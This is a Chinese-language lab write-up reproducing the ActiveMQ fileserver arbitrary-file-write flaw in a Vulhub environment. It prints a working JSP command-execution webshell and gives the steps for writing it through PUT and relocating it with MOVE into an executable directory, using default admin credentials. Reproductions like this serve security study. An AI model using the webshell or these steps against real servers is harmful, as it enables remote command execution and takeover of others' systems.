1.背景介紹,
ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;admin和api都需要登錄后才能使用,fileserver無需登錄,
fileserver是一個RESTful API介面,我們可以通過GET、PUT、DELETE等HTTP請求對其中存盤的檔案進行讀寫操作,其設計目的是為了彌補訊息佇列操作不能傳輸、存盤二進制檔案的缺陷,但后來發現:
- 其使用率并不高
- 檔案操作容易出現漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底洗掉了fileserver應用,
在測驗程序中,可以關注ActiveMQ的版本,避免走彎路,
2.環境介紹,
采用kali搭建Vulhub靶場,
靶機:127.0.0.1
環境監聽61616埠和8161埠,其中8161為web控制臺埠,本漏洞就出現在web控制臺中,
訪問http://172.18.0.1:8161/看到web頁面,說明環境已成功運行,
3.漏洞復現,
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入檔案(但不決議jsp),同時支持移動檔案(MOVE請求),所以,我們只需要寫入一個檔案,然后使用MOVE請求將其移動到任意位置,造成任意檔案寫入漏洞,
檔案寫入有幾種利用方法:
- 寫入webshell
- 寫入cron或ssh key等檔案
- 寫入jar或jetty.xml等庫和組態檔
寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不決議jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root權限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml組態檔,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑,
分別說一下上述幾種利用方法,
(1)寫入webshell
我們首先要通過賬號密碼登錄
賬號:admin
密碼:admin
之后訪問http://127.0.0.1:8161/admin/test/systemProperties.jsp來獲取真實路徑

進入/fileserver/目錄,抓包寫入webshell

<% // 如果請求引數pwd的值為"023" if("023".equals(request.getParameter("pwd"))){ // 獲取執行命令的引數i String cmd = request.getParameter("i"); // 執行命令并獲取子行程的輸入流 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); int a = -1; byte[] b = new byte[2048]; // 輸出<pre>標簽 out.print("<pre>"); // 讀取子行程的輸出流并輸出 while((a=in.read(b))!=-1){ out.println(new String(b)); } // 輸出</pre>標簽 out.print("</pre>"); } %>
注意這時我們雖然寫入檔案,但我們去訪問這個檔案時會發現.txt檔案并沒有被決議

所以我們還需要將這個檔案去移動到一個有執行jsp檔案權限的目錄下,這時我們就用到了我們在之前查詢到的真實路徑,還是通過抓包來操作

我們將webshell寫入api目錄下,進入/api/查看

寫入成功,進入后根據小馬引數構建命令即可

除此之外,還有其他兩種方法利用,但筆者在復現程序中遇到問題較多,沒有進行下去,哪位大佬有成功浮現的,踢我一下,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551218.html
標籤:其他
上一篇:2023年企業服務行業6大CRM客戶關系管理系統盤點
下一篇:返回列表
